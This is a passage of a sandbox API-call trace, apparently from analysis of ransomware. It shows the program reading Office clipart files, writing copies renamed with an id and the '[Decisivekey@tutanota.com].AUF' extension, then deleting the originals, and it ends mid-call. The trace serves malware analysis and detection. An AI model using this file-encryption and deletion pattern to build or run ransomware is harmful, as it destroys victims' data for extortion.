[0222.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString=".7z") returned 3 [0222.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0222.336] lstrlenW (lpString=".dbf") returned 4 [0222.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0222.336] lstrlenW (lpString=".1cd") returned 4 [0222.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0222.336] lstrlenW (lpString=".jpg") returned 4 [0222.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.336] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1468) returned 1 [0222.336] CloseHandle (hObject=0x228) returned 1 [0222.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0222.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.337] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.337] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.337] GetLastError () returned 0x0 [0222.337] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5bc, lpOverlapped=0x0) returned 1 [0222.353] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0222.353] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.353] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.353] SetEndOfFile (hFile=0x220) returned 1 [0222.355] CloseHandle (hObject=0x220) returned 1 [0222.355] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.355] SetEndOfFile (hFile=0x228) returned 1 [0222.356] CloseHandle (hObject=0x228) returned 1 [0222.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0222.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0222.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0222.356] lstrlenW (lpString=".doc") returned 4 [0222.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString=".docx") returned 5 [0222.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.357] lstrlenW (lpString=".pdf") returned 4 [0222.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString=".xls") returned 4 [0222.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.357] lstrlenW (lpString=".xlsx") returned 5 [0222.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.357] lstrlenW (lpString=".ppt") returned 4 [0222.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0222.357] lstrlenW (lpString=".zip") returned 4 [0222.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.357] lstrlenW (lpString=".rar") returned 4 [0222.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString=".bz2") returned 4 [0222.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString=".7z") returned 3 [0222.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0222.357] lstrlenW (lpString=".dbf") returned 4 [0222.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0222.357] lstrlenW (lpString=".1cd") returned 4 [0222.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0222.357] lstrlenW (lpString=".jpg") returned 4 [0222.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.357] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=10644) returned 1 [0222.357] CloseHandle (hObject=0x228) returned 1 [0222.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0222.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.358] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.358] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.358] GetLastError () returned 0x0 [0222.358] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2994, lpOverlapped=0x0) returned 1 [0222.402] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0222.403] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.403] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.403] SetEndOfFile (hFile=0x220) returned 1 [0222.403] CloseHandle (hObject=0x220) returned 1 [0222.403] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.403] SetEndOfFile (hFile=0x228) returned 1 [0222.404] CloseHandle (hObject=0x228) returned 1 [0222.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0222.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0222.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0222.404] lstrlenW (lpString=".doc") returned 4 [0222.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.404] lstrlenW (lpString=".docx") returned 5 [0222.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.404] lstrlenW (lpString=".pdf") returned 4 [0222.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.404] lstrlenW (lpString=".xls") returned 4 [0222.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.404] lstrlenW (lpString=".xlsx") returned 5 [0222.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.404] lstrlenW (lpString=".ppt") returned 4 [0222.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0222.404] lstrlenW (lpString=".zip") returned 4 [0222.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.404] lstrlenW (lpString=".rar") returned 4 [0222.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.404] lstrlenW (lpString=".bz2") returned 4 [0222.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.404] lstrlenW (lpString=".7z") returned 3 [0222.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0222.405] lstrlenW (lpString=".dbf") returned 4 [0222.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0222.405] lstrlenW (lpString=".1cd") returned 4 [0222.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0222.405] lstrlenW (lpString=".jpg") returned 4 [0222.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.405] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=11490) returned 1 [0222.405] CloseHandle (hObject=0x228) returned 1 [0222.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0222.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.405] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.405] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.406] GetLastError () returned 0x0 [0222.406] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0222.451] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0222.452] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.452] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.452] SetEndOfFile (hFile=0x220) returned 1 [0222.452] CloseHandle (hObject=0x220) returned 1 [0222.452] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.452] SetEndOfFile (hFile=0x228) returned 1 [0222.453] CloseHandle (hObject=0x228) returned 1 [0222.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0222.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0222.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0222.453] lstrlenW (lpString=".doc") returned 4 [0222.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.453] lstrlenW (lpString=".docx") returned 5 [0222.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.453] lstrlenW (lpString=".pdf") returned 4 [0222.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.453] lstrlenW (lpString=".xls") returned 4 [0222.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.453] lstrlenW (lpString=".xlsx") returned 5 [0222.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.453] lstrlenW (lpString=".ppt") returned 4 [0222.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0222.454] lstrlenW (lpString=".zip") returned 4 [0222.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.454] lstrlenW (lpString=".rar") returned 4 [0222.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.454] lstrlenW (lpString=".bz2") returned 4 [0222.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.454] lstrlenW (lpString=".7z") returned 3 [0222.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0222.454] lstrlenW (lpString=".dbf") returned 4 [0222.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0222.454] lstrlenW (lpString=".1cd") returned 4 [0222.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0222.454] lstrlenW (lpString=".jpg") returned 4 [0222.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.454] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=7084) returned 1 [0222.454] CloseHandle (hObject=0x228) returned 1 [0222.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0222.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.456] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.456] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.457] GetLastError () returned 0x0 [0222.457] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1bac, lpOverlapped=0x0) returned 1 [0222.458] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0222.458] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.458] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.459] SetEndOfFile (hFile=0x220) returned 1 [0222.459] CloseHandle (hObject=0x220) returned 1 [0222.459] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.459] SetEndOfFile (hFile=0x228) returned 1 [0222.459] CloseHandle (hObject=0x228) returned 1 [0222.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0222.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0222.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0222.460] lstrlenW (lpString=".doc") returned 4 [0222.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString=".docx") returned 5 [0222.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.460] lstrlenW (lpString=".pdf") returned 4 [0222.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString=".xls") returned 4 [0222.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.460] lstrlenW (lpString=".xlsx") returned 5 [0222.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.460] lstrlenW (lpString=".ppt") returned 4 [0222.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0222.460] lstrlenW (lpString=".zip") returned 4 [0222.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.460] lstrlenW (lpString=".rar") returned 4 [0222.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString=".bz2") returned 4 [0222.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString=".7z") returned 3 [0222.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0222.460] lstrlenW (lpString=".dbf") returned 4 [0222.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0222.460] lstrlenW (lpString=".1cd") returned 4 [0222.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0222.460] lstrlenW (lpString=".jpg") returned 4 [0222.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.461] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=7098) returned 1 [0222.461] CloseHandle (hObject=0x228) returned 1 [0222.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0222.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.461] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.461] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.462] GetLastError () returned 0x0 [0222.462] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, 